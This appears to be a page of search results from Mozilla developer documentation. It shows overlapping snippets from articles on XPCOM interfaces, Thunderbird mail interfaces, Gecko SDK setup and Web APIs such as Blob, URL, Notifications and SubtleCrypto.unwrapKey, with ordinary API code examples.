...ch node will be the last visit date for that url. results_as_visit: this option returns one entry for each time a page was visited matching the given query. the result may contain duplicate entries for urls, each with a different date. the nodes are of type result_type_visit, and provide a session id for each visit. this session id is the same for all pages that were reached by clicking links. a
new session starts when the user types a
new url or follows a bookmark (xxx link to more details about what constitutes a session). results_as_full_visit: this is an extended version of result_type_visit. the results are of type result_type_full_visit and have additional information about the visit, such as the referring visit, and how the transition happened (typed, redirect, link, etc). not yet im...
...And 4 more matches
Accessing the Windows Registry Using XPCOM
functionality, it is often useful to access the windows registry for information about the environment or other installed programs. to this end, there exist xpcom interfaces to read and write registry data. this article will show you how to use the available interfaces in several mozilla products. the examples in this document are all written in javascript using xpcom. support in firefox 1.5 or
newer in firefox 1.5, a
new api was added, nsiwindowsregkey, which provides extensive registry functionality. the interface follows the windows api fairly closely, but with many of the low-level details taken care of for you. if you are writing an extension that only needs to support firefox 1.5 or
newer, then you only need to read this section. a simple example here's a simple example showing how...
...ringvalue(). you have to specify what type of data you expect to read, which we will expand on later. finally, note that you should close the key when you are done to avoid wasting system resources. opening registry keys before doing anything with a registry key you must first open the key you are interested in. the example above demonstates this using the open() method. if you want to create a
new key, you can use the create() method, which takes the same parameters as open(). note that it is not an error to call create() on an existing key, and doing so has the same result as calling open(). both of these methods take a root key as the first parameter. from javascript, you will want to use the named constants on the interface for this parameter. they are: root_key_classes_root — cor...
...s, enumerating keys, and receiving notifications access_write — for setting values and creating sub keys access_all — access for all operations in addition to open() and create(), there are the openchild() and createchild() methods. you can call these methods on an already-opened registry key to open a child key. both methods take a relative path and access mode as parameters and return a
new object implementing nsiwindowsregkey. here's the simple example again, but using openchild(): var wrk = components.classes["@mozilla.org/windows-registry-key;1"] .createinstance(components.interfaces.nsiwindowsregkey); wrk.open(wrk.root_key_local_machine, "software\\microsoft", wrk.access_read); var subkey = wrk.openchild("windows\\currentversion", wrk.acces...
...And 4 more matches
Generic factory
in xpcom, a generic factory is a factory created using the facilities in xpcom/glue/nsigenericfactory.h. summary most xpcom factories can be very simple. rick potts wrote a templated-based generic factory (nsfactory<t>) that simplifies the factory creation process that just requires writing a createinstance() method. the
new nsigenericfactory interface takes this a step further, by providing a single interface that can be reused anytime a simple implementation of nsifactory is needed. here is the interface, and a description of its use. /** * provides a generic nsifactory implementation that can be used by * dlls with very simple factory needs. */ class nsigenericfactory : public nsifactory { public: static const nsiid& iid() { static nsiid iid = ns_igenericfactory_iid; retu...
... static nsiid iid = ns_igenericfactory_iid; return iid; } typedef ns_callback(constructorprocptr) (nsisupports *aouter, refnsiid aiid, void **aresult); /** * establishes the generic factory's constructor function, which will be called * by createinstance. */ ns_imethod setconstructor(constructorprocptr constructor) = 0; }; using nsigenericfactory is simple. create a
new instance from the repository with a cid of ns_genericfactory_cid, and and iid of ns_igenericfactory_iid. define a constructor function that matches the constructorprocptr prototype, and call nsigenericfactory::setconstructor with a pointer to that function. you're done. you now have a fully functional factory object. examples class nsicomponent : public nsisupports { public: ns_imethod dosome...
...xamples class nsicomponent : public nsisupports { public: ns_imethod dosomething() = 0; }; class mycomponent : public nsicomponent { public: mycomponent(); virtual ~mycomponent(); static ns_method create(nsisupports *aouter, refnsiid aiid, void **aresult); ns_impl_isupports ns_imethod dosomething(); }; to create a factory for this class, simply write the following: nsifactory*
newcomponentfactory(nsirepository* repository) { nsigenericfactory* factory = null; nscid kgenericfactorycid = ns_genericfactory_cid; nsresult res = repository->createinstance(kgenericfactorycid, null, nsigenericfactory::iid(), &factory); if (res == ns_ok) { factory->setconstructor(&mycomponent::create); } return factory; } this example assumes that the xpcom reposit...
...And 4 more matches
An Overview of XPCOM
om places like this. interfaces how do you decide when to break apart your code? the basic idea is to identify the pieces of functionality that are related and understand how they communicate with each other. the communication channels between different component form boundaries between those components, and when those boundaries are formalized they are known as interfaces. interfaces aren't a
new idea in programming. we've all used interfaces since our first "helloworld" program, where the interface was between the code we actually wrote -- the application code -- and the printing code. the application code used an interface from a library, stdio, to print the "hello world" string out to the screen. the difference here is that a "helloworld" application in xpcom finds this screen-printing...
...ic implementation, as the cid is, and is thus more general. instead, a contract id only specifies a given set of interfaces that it wants implemented, and any number of different cids may step in and fill that request. this difference between a contract id and a cid is what makes it possible to override components. factories once code is broken up into components, client code typically uses the
new operator to instantiate objects for use: someclass* component =
new someclass(); this pattern requires that the client knows something about the component, however-how big it is at the very least. the factory design pattern can be used to encapsulate object construction. the goal of a factory is to create an object without exposing clients to the implementation and initialization of this objec...
...nent, however-how big it is at the very least. the factory design pattern can be used to encapsulate object construction. the goal of a factory is to create an object without exposing clients to the implementation and initialization of this object. ...
...And 4 more matches
Setting up the Gecko SDK
downloading and setting the sdk the gecko sdk provides all of the tools, headers, and libraries that you need to build xpcom components. ...
...w separate archive with gecko-sdk, just xul-runner-sdk.): linux: http://ftp.mozilla.org/pub/mozi....8.0.4.tar.bz2 windows: http://ftp.mozilla.org/pub/mozi...vc-1.8.0.4.zip mac: http://ftp.mozilla.org/pub/mozi...ac-1.8.0.4.zip note that the version number for the archives above is 1.8. the weblock component was built with version 1.4a, which is no longer available. you may want to check for
newer versions at gecko versions prior to 1.7: http://ftp.mozilla.org/pub/mozi...illa/releases/ gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ once you download the sdk, you can expand it into any convenient location. in this appendix, we set up the windows gecko sdk in c:\gecko-sdk\. if you choose some other location, remember to adjust the settings described here (...
.../releases/ gecko versions after 1.8: http://ftp.mozilla.org/pub/mozi...nner/releases/ once you download the sdk, you can expand it into any convenient location. in this appendix, we set up the windows gecko sdk in c:\gecko-sdk\. if you choose some other location, remember to adjust the settings described here (e.g., in the building a microsoft visual cpp project section below) to point to this
new location. when you extract the sdk, it should have the layout seen below: layout of the extracted sdk the directories represent different modules in the sdk. for example, the headers for networking are all located in the necko directory, and the headers that xpcom requires are in the xpcom directory. this directory structure makes build scripts slightly more complicated (since there will be ...
...And 4 more matches
imgIContainer
imagedata, out unsigned long imagelength); native code only! obsolete since gecko 2.0 imgicontainer extractcurrentframe([const] in nsintrect arect); native code only! obsolete since gecko 2.0 imgicontainer extractframe(in pruint32 awhichframe, [const] in nsintrect arect, in pruint32 aflags); native code only! void frameupdated(in unsigned long framenum, in nsintrect a
newrect); native code only! obsolete since gecko 2.0 void getcurrentframerect(in nsintrect aframerect); native code only! obsolete since gecko 2.0 gfxasurface getframe(in pruint32 awhichframe, in pruint32 aflags); native code only! gfxiimageframe getframeat(in unsigned long index); obsolete since gecko 1.9.2 void getframecolormap(in unsigned long framenumber, [a...
... kdisposeclearall -1 "disposal" method indicates how the image should be handled before the subsequent image is displayed. do not change these without looking at the implementations using them, struct gif_struct::disposal_method and gif_write() in particular. clear() the whole image, revealing. obsolete since gecko 2.0 kdisposenotspecified 0 leave frame, let
new frame draw() on top. obsolete since gecko 2.0 kdisposekeep 1 leave frame, let
new frame draw() on top. obsolete since gecko 2.0 kdisposeclear 2 clear() the frame's area, revealing bg. obsolete since gecko 2.0 kdisposerestoreprevious 3 restore the previous(composited) frame. obsolete since gecko 2.0 kblendsource 0 all color components...
...nnec 1.0) void clear(); parameters none. exceptions thrown missing exception missing description native code only!copycurrentframe obsolete since gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1)this feature is obsolete. although it may still work in some browsers, its use is discouraged since it could be removed at any time. try to avoid using it. create and return a
new copy of the current frame that you can write to and otherwise inspect the pixels of. gfximagesurface copycurrentframe(); parameters none. return value missing description exceptions thrown missing exception missing description native code only!copyframe create and return a
new copy of the given frame that you can write to and otherwise inspect the pixels of. gfximagesurface copyframe(...
...And 4 more matches
nsIHTMLEditor
operty, in astring aattribute, in astring avalue); void setparagraphformat(in astring aparagraphformat); void updatebaseurl(); attributes attribute type description iscssenabled boolean a boolean which is true is the htmleditor has been instantiated with css knowledge and if the css pref is currently checked. returninparagraphcreates
newparagraph boolean a boolean indicating if a return key pressed in a paragraph creates another paragraph or just inserts a <br> at the caret. constants constant value description eleft 0 ecenter 1 eright 2 ejustify 3 methods adddefaultproperty() registers a default style property with the edit...
...e ); parameters anode return value candrag() decides if a drag should be started (for example, based on the current selection and mousepoint). boolean candrag( in nsidomevent aevent ); parameters aevent return value checkselectionstateforanonymousbuttons() checks if the anonymous nodes created by the html editor have to be refreshed or hidden depending on a possible
new state of the selection. void checkselectionstateforanonymousbuttons( in nsiselection aselection ); parameters aselection a selection. createanonymouselement() returns an anonymous nsdomelement of type atag, child of aparentnode. if aiscreatedhidden is true, the class "hidden" is added to the created element. if aanonclass is not the empty string, it becomes the value of the attribute ...
...tedhidden ); parameters atag a string representing the desired type of the element to create. aparentnode the parent node of the created anonymous element. aanonclass contents of the _moz_anonclass attribute. aiscreatedhidden a boolean specifying if the class "hidden" is to be added to the created anonymous element. return value a dom element. createelementwithdefaults() return a
new element with default attribute values. this does not rely on the selection, and is not sensitive to context. used primarily to supply
new element for various insert element dialogs (image, link, table, and horizontalrule are the only returned elements as of 9/12/18); namedanchor was removed in firefox 63. nsidomelement createelementwithdefaults( in astring atagname ); parameters atagnam...
...And 4 more matches
nsIMsgDBHdr
void setreferences(in string references); acstring getstringreference(in long refnum); void setrecipientsarray(in string names, in string addresses,in unsigned long numaddresses); void setcclistarray(in string names, in string addresses,in unsigned long numaddresses); void setbcclistarray(in string names, in string addresses,in unsigned long numaddresses);
new in thunderbird 3.1 [noscript] void getauthorcollationkey(out octetptr key, out unsigned long len); [noscript] void getsubjectcollationkey(out octetptr key, out unsigned long len); [noscript] void getrecipientscollationkey(out octetptr key, out unsigned long len); attributes attribute type description isread boolean readonly: indicat...
.... messagesize unsigned long indicates the size of this message in bytes. linecount unsigned long indicates the size of the message body in number of lines. statusoffset unsigned long indicates the offset within the message of the x-mozilla-status header. messageoffset unsigned long indicates the position of the offline copy of an imap or
news messages within the offline store. offlinemessagesize unsigned long indicates the size of the offline copy of an imap or
news message. date prtime indicates the date of this message; the equivalent header is the date: header. dateinseconds unsigned long readonly: indicates the date of this message as a unix timestamp. messageid string i...
...conds unsigned long readonly: indicates the date of this message as a unix timestamp. messageid string indicates the message id of this message, without angle brackets. if setting this value, outer angle brackets will be stripped if present. cclist string indicates the cc list of this message; the equivalent header is the cc: header. bcclist string [
new in .31] indicates the bcc list of this message; the equivalent header is the bcc: header. author string indicates the author of this message; the equivalent header is the from: header. the value here will effectively be the unparsed version of the header. subject string indicates the subject of this message; the equivalent header is the subject: header. the value ...
...And 4 more matches
nsIProfile
e: var profile = components.classes["@mozilla.org/profile/manager;1"] .getservice(components.interfaces.nsiprofile); note: this interface was used by seamonkey up through seamonkey 1.1 versions, which were based off gecko 1.8.1. however, it hasn't been used in firefox since before firefox 1.0. ...
... profilecount long the number of profiles. read only. constants profile shutdown types constant value description shutdown_persist 0x00000...
...he number of profiles. read only. constants profile shutdown types constant value description shutdown_persist 0x00000001 when shutting down the profile, save all changes. shutdown_cleanse 0x00000002 when shutting down the profile, discard changes. ...
...And 4 more matches
nsIProtocolHandler
netwerk/base/nsiprotocolhandler.idlscriptable this interface is used to implement protocol handlers. if you wish to create a
new protocol handler, you need to implement this interface. inherits from: nsisupports last changed in gecko 2.0 (firefox 4 / thunderbird 3.3 / seamonkey 2.1) method overview boolean allowport(in long port, in string scheme); nsichannel
newchannel(in nsiuri auri); nsiuri
newuri(in autf8string aspec, in string aorigincharset, in nsiuri abaseuri); attributes attribute type description defaultport long the default port is the port the protocol uses by default. if the protocol doesn't need a port (for example, the "about" protocol), this attribute is -1. read only. protocolflags un...
...the protocol supports transparent proxying, the handler should implement the nsiproxiedprotocolhandler interface. if the protocol only supports http proxying, it doesn't need to support nsiproxiedprotocolhandler, but should instead set the allows_proxy_http flag. allows_proxy_http 1<<3 the protocol handler can be proxied using an http proxy (for example, http and ftp). nsiioservice.
newchannelfromuri() will feed uris from this protocol handler to the http protocol handler instead. this flag is ignored if allows_proxy is not set. methods allowport() lets a protocol override blacklisted ports. this method is called when there's an attempt to connect to a port that is blacklisted. for example, for most protocols, port 25 (simple mail transfer protocol) is banned. when a ur...
...containing this port number is encountered, this method is called to ask if the protocol handler wants to override the ban. boolean allowport( in long port, in string scheme ); parameters port the port for which an override is being requested. scheme the scheme for which an override is being requested. return value return true if the override is approved; otherwise, return false.
newchannel() constructs a
new channel from the given uri for this protocol handler. nsichannel
newchannel( in nsiuri auri ); parameters auri the uri for which to construct a channel. return value return the
newly constructed channel.
newuri() makes a uri object that is suitable for loading by this protocol, where the uri string is given as an utf-8 string. the caller may provide the ch...
...And 4 more matches
nsIWebProgressListener
his flag indicates the start of a request. this flag is set when a request is initiated. the request is complete when onstatechange() is called for the same request with the state_stop flag set. state_redirecting 0x00000002 this flag indicates that a request is being redirected. the request passed to onstatechange() is the request that is being redirected. when a redirect occurs, a
new request is generated automatically to process the
new request. expect a corresponding state_start event for the
new request, and a state_stop for the redirected request. state_transferring 0x00000004 this flag indicates that data for a request is being transferred to an end consumer. this flag indicates that the request has been targeted, and that the user may start seeing content ...
...change() method. constant value description state_identity_ev_toplevel 0x00100000 state bits for ev == extended validation == high assurance. the topmost document uses an ev cert. location change flags constant value description location_change_same_document 0x00000001 this flag is on when awebprogress did not load a
new document. for example, the location change is due to an anchor scroll or a pushstate/popstate/replacestate. location_change_error_page 0x00000002 this flag indicates that awebprogress redirected from the requested document to an internal page to show error status, such as about:neterror, about:certerror and so on. methods onlocationchange() called when the location of th...
...nternal page to show error status, such as about:neterror, about:certerror and so on. methods onlocationchange() called when the location of the window being watched changes. this is not when a load is requested, but rather once it is verified that the load is going to occur in the given window. for instance, a load that starts in a window might send progress and status messages for the
new site, but it will not send the onlocationchange until we are sure that we are loading this
new page here. another example: the loading of a pdf or flash file might not not send onlocationchange if the document is handed off to a third-party tool rather than being loaded into the browser. void onlocationchange( in nsiwebprogress awebprogress, in nsirequest arequest, in nsiuri alocation, [...
...And 4 more matches
nsIXULTemplateBuilder
st matching query in the template becomes the active match and generates output. the addresult, removeresult, replaceresult and resultbindingchanged methods may be called by the query processor to indicate that the set of valid results has changed, such that a different query may match. if a different match would become active, the content for the existing match is removed and the content for the
new match is generated. a query processor is not required to provide any support for updating results after they have been generated. see the template guide for more information about templates. /xul/templates/public/nsixultemplatebuilder.idlscriptable please add a summary to this article. last changed in gecko 1.9 (firefox 3) inherits from: nsisupports method overview void rebuild(); v...
...ebuilder.idlscriptable please add a summary to this article. ...
...ing() method when the content is to be regenerated. void rebuild(); parameters none. refresh() reloads any rdf datasources that support nsirdfremotedatasource. note: this is a temporary hack so that remote-xul authors can reload remote datasources. when rdf becomes remote-scriptable, this will no longer be necessary. void refresh(); parameters none. addresult() informs the template builder that a
new result is available. the builder will add this result to the set of results. the query node that the
new result applies to must be specified using the aquerynode parameter. the builder will apply the rules associated with the query to the
new result, unless a result with the same id from an earlier query supersedes it, and the result's rulematched() method will be called if it matches. void addre...
...And 4 more matches
nsMsgFolderFlagType
defined in comm-central/ mail
news/ base/ public/ nsmsgfolderflags.idl typedef unsigned long nsmsgfolderflagtype; /// flags about a folder or a
newsgroup. [scriptable,uuid(fbe7cba8-3141-4c44-9660-99af6b53f27e)] interface nsmsgfolderflags { /** * @name folder type flags * these flags define the type of folder. exactly one will be set. * @{ */ /// this folder is a
newsgroup folder. const nsmsgfolderflagtype
newsgroup = 0x00000001; /// this folder is a
news server. const nsmsgfolderflagtype
newshost = 0x00000002; /// this folder is a mail folder. ...
...efine the type of folder. exactly one will be set. * @{ */ /// this folder is a
newsgroup folder. const nsmsgfolderflagtype
newsgroup = 0x00000001; /// this folder is a
news server. const nsmsgfolderflagtype
newshost = 0x00000002; /// this folder is a mail folder. const nsmsgfolderflagtype mail = 0x00000004; /** @} */ /** whether this is a directory:
newshosts are always directories; *
newsgroups can be directories if we are in ``show all groups'' mode; * mail folders will have this bit if they are really directories, not files. * (note that directories may have zero children.) */ const nsmsgfolderflagtype directory = 0x00000008; /** whether the children of this folder are currently hidden in the listing. * this will ...
... */ const nsmsgfolderflagtype directory = 0x00000008; /** whether the children of this folder are currently hidden in the listing. * this will only be present if the nsmsgfolderflags::directory bit is on. ...
...And 4 more matches
Cached compose window FAQ
warning: the content of this article may be out of date. it was imported from mozilla.org and last updated in 2003. seth spitzer (sspitzer@mozilla.org) what is the "cached" compose window? ...
... but we noticed that the common usage pattern is to compose, send, compose, send, compose send. we decided it would be worth the trouble to cache the compose window. ...
...end (or close), and use that instead. the downsides are that we have had some bugs, it complicates and bloats the code, and it requires more testing. the upside is that is has been a major performance win why did you do this? back 0.9.7, we hit a wall with the compose window. any
new window performance problems that mozilla has are especially painful in mail compose, as we need to create a
new compose window on every
new mail message or reply. but we noticed that the common usage pattern is to compose, send, compose, send, compose send. we decided it would be worth the trouble to cache the compose window. if the user has this usage pattern, we wouldn't have to create a
new window. we could just hide it on send, and then show it on the next compose. if the user opens (but never ...
...And 4 more matches
Working with windows in chrome code
this article describes working with multiple windows in mozilla chrome code (xul applications and extensions). it contains tips and example code on opening
new windows, finding an already opened window, and passing data between different windows. opening windows from a <script> in a window or an overlay to open a
new window, we usually use a window.open or window.opendialog dom call, like this: var win = window.open("chrome://myextension/content/about.xul", "aboutmyextension", "chrome,centerscreen"); the first parameter to window.open is the uri of the xul file that describes the window and its contents. the second parameter is the window's name; the name can be used in links or forms as the target attribute. this is different from the user-visible windo...
...e content document. for example: // alerts the title of the document displayed in the content-primary widget alert(content.document.title); for example, you can use content.document in a browser.xul overlay to access the web page in the selected tab in a firefox window. some examples use _content instead of content. the former has been deprecated for a while, and you should use content in the
new code. accessing a document in the sidebar firefox has a sidebar, which is implemented as a <browser> element with id="sidebar". to access the elements and variables inside the sidebar, you need to use document.getelementbyid("sidebar").contentdocument or .contentwindow, like when accessing content documents. for more sidebar tips, see code snippets:sidebar. accessing the elements of the top-l...
...o that window. arguments are simple javascript objects, accessible through window.arguments property in the opened window. in this example, we're using window.opendialog to open a progress dialog. we pass in the current status text as well as the maximum and current progress values. note that using nsiwindowwatcher.openwindow is a bit less trivial . ...
...And 4 more matches
about:debugging - Firefox Developer Tools
ure the connection to your remote device. this firefox provides information about temporary extensions you have loaded for debugging, extensions that are installed in firefox, the tabs that you currently have open, and service workers running on firefox. if your about:debugging page is different from the one displayed here, go to about:config, find and set the option devtools.aboutdebugging.
new-enabled to true. setup tab connecting to a remote device firefox supports debugging over usb with android devices, using the about:debugging page. before you connect: enable developer settings on your android device. enable usb debugging in the android developer settings. enable remote debugging via usb in the advanced settings in firefox on the android device. connect the android devic...
...essage like the following: in firefox 76 and above, the message can look like the following: see connection for firefox for android 68 for more information. in the image above, there are three tabs open: network or cache recipe, nightly home, and about nightly. to debug the contents of one of these tabs, click the inspect button next to its title. when you do, the developer tools open in a
new tab. above the usual list of tools, you can see information about the device you are connected to, including the fact that you are connected (in this example) via usb, to firefox preview, on a pixel 2, as well as the title of the page that you are debugging, and the address of the page. starting in firefox 78, the url bar is editable, so that you can change the url used by the browser on the ...
...s to the extension. remove unloads the temporary extension. other information about the extension is displayed: location the location of the extension's source code on your local system. extension id the temporary id assigned to the extension. internal uuid the internal uuid assigned to the extension. manifest url if you click the link, the manifest for this extension is loaded in a
new tab. updating a temporary extension if you install an extension in this way, what happens when you update the extension? if you change files that are loaded on demand, like content scripts or popups, then changes you make are picked up automatically, and you'll see them the next time the content script is loaded or the popup is shown. for other changes, click the reload button. this does w...
...And 4 more matches
Blob - Web APIs
r's system. using blobs to construct a blob from other non-blob objects and data, use the blob() constructor. to create a blob that contains a subset of another blob's data, use the slice() method. to obtain a blob object for a file on the user's file system, see the file documentation. the apis accepting blob objects are also listed in the file documentation. constructor blob() returns a
newly created blob object which contains a concatenation of all of the data in the array passed into the constructor. instance properties blob.prototype.size read only the size, in bytes, of the data contained in the blob object. blob.prototype.type read only a string indicating the mime type of the data contained in the blob. if the type is unknown, this string is empty. instance methods...
..., in bytes, of the data contained in the blob object. blob.prototype.type read only a string indicating the mime type of the data contained in the blob. if the type is unknown, this string is empty. instance methods blob.prototype.arraybuffer() returns a promise that resolves with an arraybuffer containing the entire contents of the blob as binary data. blob.prototype.slice() returns a
new blob object containing the data in the specified range of bytes of the blob on which it's called. blob.prototype.stream() returns a readablestream that can be used to read the contents of the blob. blob.prototype.text() returns a promise that resolves with a usvstring containing the entire contents of the blob interpreted as utf-8 text. examples creating a blob the blob() constructor can ...
...ns a readablestream that can be used to read the contents of the blob. blob.prototype.text() returns a promise that resolves with a usvstring containing the entire contents of the blob interpreted as utf-8 text. examples creating a blob the blob() constructor can create blobs from other objects. for example, to construct a blob from a json string: const obj = {hello: 'world'}; const blob =
new blob([json.stringify(obj, null, 2)], {type : 'application/json'}); creating a url representing the contents of a typed array the following code creates a javascript typed array and creates a
new blob containing the typed array's data. it then calls url.createobjecturl() to convert the blob into a url. html <p>this example creates a typed array containing the ascii codes for the space chara...
...And 4 more matches
Element.classList - Web APIs
otype.classlist for ie10-ie11 browsers plus nearly compliant behavior for ie 6-9. check it out: // 1. ...
...implement the barebones domtokenlist livelyness polyfill if (ty...
...lobal namespace pollution if(!window.domexception) (domexception = function(reason){this.message = reason}).prototype =
new error; var wsre = /[\11\12\14\15\40]/, wsindex = 0, checkifvalidclasslistentry = function(o, v) { if (v === "") throw
new domexception( "failed to execute '" + o + "' on 'domtokenlist': the token provided must not be empty." ); if((wsindex=v.search(wsre))!==-1) throw
new domexception("failed to execute '"+o+"' on 'domtokenlist': " + "the token provided ('"+v[wsindex]+"') contains html space characters, which are not valid in tokens."); } // 2. implement the barebones domtokenlist livelyness polyfill if (typeof domtokenlist !== "function") (function(window){ var document = window.document, object = window.object, hasownprop = object.prototype.hasownpropert...
...And 4 more matches
FileSystemEntry.moveTo() - Web APIs
when moving a directory, the move is always recursive; you can't leave out subfolders. you can't move a file such that it replaces an existing directory, and you can't move a directory such that it replaces an existing file. ...
... when moving a directory, the move is always recursive; you can't leave out subfolders. you can't move a file such that it replaces an existing directory, and you can't move a directory such that it replaces an existing file. ...
... when moving a directory, the move is always recursive; you can't leave out subfolders. you can't move a file such that it replaces an existing directory, and you can't move a directory such that it replaces an existing file. ...
...And 4 more matches
FileSystemEntrySync - Web APIs
standardized. various browsers implement pieces of the file and directory entries api (otherwise known as the file system api) but you should try to avoid using it. basic concepts the filesystementrysync interface includes methods that you would expect for manipulating files and directories, but it also include a really handy method for getting a url of the entry: tourl(). it also introduces a
new url scheme: filesystem:. you can use the filesystem: scheme on google chrome to see all the files and folders that are stored in the origin of your app. just use filesystem: scheme for the root directory of the origin of the app. for example, if your app is in http://ww.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files a...
...ry of the origin of the app. for example, if your app is in http://ww.html5rocks.com, open filesystem:http://www.html5rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files and folders stored the origin of your app. ...
...rocks.com/temporary/ in a tab. chrome shows a read-only list of all the files and folders stored the origin of your app. method overview metadata getmetadata () raises (fileexception); filesystementrysync moveto (in directoryentrysync parent, optional domstring
newname) raises (fileexception); filesystementrysync copyto(in directoryentrysync parent, optional domstring
newname) raises (fileexception); domstring tourl(); void remove() raises (fileexception); directoryentrysync getparent(); attributes attribute type description filesystem readonly filesystemsync the file system where the entry resides. fullpath readonly domstring the full absolute path from the root to the entry.
...And 4 more matches
ImageData() - Web APIs
if no such array is given, an image with a transparent black rectangle of the specified width and height will be created. width an unsigned long representing the width of the image. height an unsigned long representing the height of the image. ...
...if no such array is given, an image with a transparent black rectangle of the specified width and height will be created. width an unsigned long representing the width of the image. height an unsigned long representing the height of the image. ...
...ion of the image. if no such array is given, an image with a transparent black rectangle of the specified width and height will be created. width an unsigned long representing the width of the image. height an unsigned long representing the height of the image. this value is optional if an array is given: the height will be inferred from the array's size and the given width. ...
...And 4 more matches
Node.replaceChild() - Web APIs
the node.replacechild() method replaces a child node within the given (parent) node. note the idiosyncratic argument order (
new before old). childnode.replacewith() may be easier to read and use. syntax parentnode.replacechild(
newchild, oldchild); parameters
newchild the
new node to replace oldchild. if it already exists in the dom, it is first removed. oldchild the child to be replaced. return value the returned value is the replaced node. this is the same node as oldchild. ...
...n the dom, it is first removed. oldchild the child to be replaced. return value the returned value is the replaced node. this is the same node as oldchild. ...
...rst removed. oldchild the child to be replaced. return value the returned value is the replaced node. this is the same node as oldchild. ...
...And 4 more matches
Using the Notifications API - Web APIs
tem or mobile device broadcasts notifications. the system notification system will vary of course by platform and browser, but this is ok, and the notifications api is written to be general enough for compatibility with most system notification systems. examples one of the most obvious use cases for web notifications is a web-based mail or irc application that needs to notify the user when a
new message is received, even if the user is doing something else with another application. many examples of this now exist, such as slack. we've written a real world example — a to-do list app — to give more of an idea of how web notifications can be used. it stores data locally using indexeddb and notifies users when tasks are due using system notifications. download the to-do list code, or vi...
... display within the notification and some options to enhance the notification such as an icon or a text body. for example, in the to-do-list example we use the following snippet to create a notification when required (found inside the createnotification() function): var img = '/to-do-notifications/img/icon-128.png'; var text = 'hey! your task "' + title + '" is now overdue.'; var notification =
new notification('to do list', { body: text, icon: img }); closing notifications used close() to remove a notification that is no longer relevant to the user (e.g. the user already read the notification on the webpage, in the case of a messaging app, or the following song is already playing in a music app to notifies upon song changes). most modern browsers dismiss notifications automatically after...
...ould generally be concerned about as it's up to the user and user agent. the dismissal may also happen at the operating system level and users should remain in control of this. old versions of chrome didn't remove notifications automatically so you can do so after a settimeout() only for those legacy versions in order to not remove notifications from notification trays on other browsers. var n =
new notification('my great song'); document.addeventlistener('visibilitychange', function() { if (document.visibilitystate === 'visible') { // the tab has become visible so clear the now-stale notification. n.close(); } }); note: this api shouldn't be used just to have the notification removed from the screen after a fixed delay (on modern browsers) since this method will also remove t...
...And 4 more matches
SubtleCrypto.unwrapKey() - Web APIs
ypto.exportkey() or subtlecrypto.wrapkey(). keyusages is an array indicating what can be done with the key. possible values of the array are: encrypt: the key may be used to encrypt messages. decrypt: the key may be used to decrypt messages. sign: the key may be used to sign messages. verify: the key may be used to verify signatures. derivekey: the key may be used in deriving a
new key. derivebits: the key may be used in deriving bits. wrapkey: the key may be used to wrap a key. unwrapkey: the key may be used to unwrap a key return value result is a promise that fulfills with the unwrapped key as a cryptokey object. exceptions the promise is rejected when one of the following exceptions is encountered: invalidaccesserror raised when the unwrapping ...
... [89,113,135,234,168,204,21,36,55,93,1,132,242,242,192,156]; /* the wrapped key itself. */ const wrappedkeybytes = [171,223,14,36,201,233,233,120,164,68,217,192,226,80, 224,39,199,235,239,60,212,169,100,23,61,54,244,197,160,80,109,230,207, 225,57,197,175,71,80,209]; /* convert an array of byte values to an arraybuffer. ...
...92,156]; /* the wrapped key itself. */ const wrappedkeybytes = [171,223,14,36,201,233,233,120,164,68,217,192,226,80, 224,39,199,235,239,60,212,169,100,23,61,54,244,197,160,80,109,230,207, 225,57,197,175,71,80,209]; /* convert an array of byte values to an arraybuffer. ...
...And 4 more matches
TextDecoder - Web APIs
oder for a specific text encoding, such as utf-8, iso-8859-2, koi8-r, gbk, etc. a decoder takes a stream of bytes as input and emits a stream of code points. examples representing text with typed arrays this example shows how to decode a chinese/japanese character , as represented by five different typed arrays: uint8array, int8array, uint16array, int16array, and int32array. ...
... koi8-r, gbk, etc. a decoder takes a stream of bytes as input and emits a stream of code points. examples representing text with typed arrays this example shows how to decode a chinese/japanese character , as represented by five different typed arrays: uint8array, int8array, uint16array, int16array, and int32array. ...
...es as input and emits a stream of code points. examples representing text with typed arrays this example shows how to decode a chinese/japanese character , as represented by five different typed arrays: uint8array, int8array, uint16array, int16array, and int32array. ...
...And 4 more matches
URL() - Web APIs
if url is a relative url, base is required, and will be used as the base url. if url is an absolute url, a given base will be ignored. base optional a usvstring representing the base url to use in case url is a relative url. if not specified, it defaults to ''. note: you can still use an existing url object for the base, which stringifies itself to the object's href property. ...
...cified, it defaults to ''. note: you can still use an existing url object for the base, which stringifies itself to the object's href property. exceptions exception explanation typeerror url (in the case of absolute urls) or base + url (in the case of relative urls) is not a valid url. ...
...h stringifies itself to the object's href property. exceptions exception explanation typeerror url (in the case of absolute urls) or base + url (in the case of relative urls) is not a valid url. ...
...And 4 more matches
URL API - Web APIs
sed. also covered are definitions of various terms related to addressing of computers on a network, and the algorithms for parsing ip addresses and dom addresses are specified. more interesting to most developers is the api itself. accessing url components creating an url object for a given url parses the url and provides quick access to its constituent parts through its properties. ...
...es. let addr =
new url("/docs/web/api/url_api"); let host = addr.host; let path = addr.pathname; the snippet above creates a url object for the article you're reading right now, then fetches the host and pathname properties. in this case, those strings are developer.mozilla.org and /docs/web/api/url_api, respectively. changing the url most of the properties of url are settable; you can write
new values to them to alter the url represented by the object. for example, to create a url and set its username: let myusername = "someguy"; let addr =
new url("https://mysite.com/login"); addr.username = myusername; setting the value of username not only sets that property's value, but it updates the overall url. after executing the code snippet above, the value returned by addr.href is https://...
...value of username not only sets that property's value, but it updates the overall url. after executing the code snippet above, the value returned by addr.href is https://someguy@mysite.com/login. this is true for any of the writable properties. queries the search property on a url contains the query string portion of the url. ...
...And 4 more matches
Example and tutorial: Simple synth keyboard - Web APIs
splay: table-cell; vertical-align: middle; } .left span, .left input { vertical-align: middle; } .right { width: 50%; position: absolute; right: 0; display: table-cell; vertical-align: middle; } .right span { vertical-align: middle; } .right input { vertical-align: baseline; } javascript the javascript code begins by initializing a number of variables. let audiocontext =
new (window.audiocontext || window.webkitaudiocontext)(); let osclist = []; let mastergainnode = null; audiocontext is set to reference the global audiocontext object (or webkitaudiocontext if necessary). osclist is set up to be ready to contain a list of all currently-playing oscillators. it starts off empty, since there are none playing yet. mastergainnode is set to null; during the setup pro...
... an event handler is established (by calling our old friend addevent...
... an event handler is established (by calling our old friend addeventlistener() to handle change events on the master ga...
...And 4 more matches
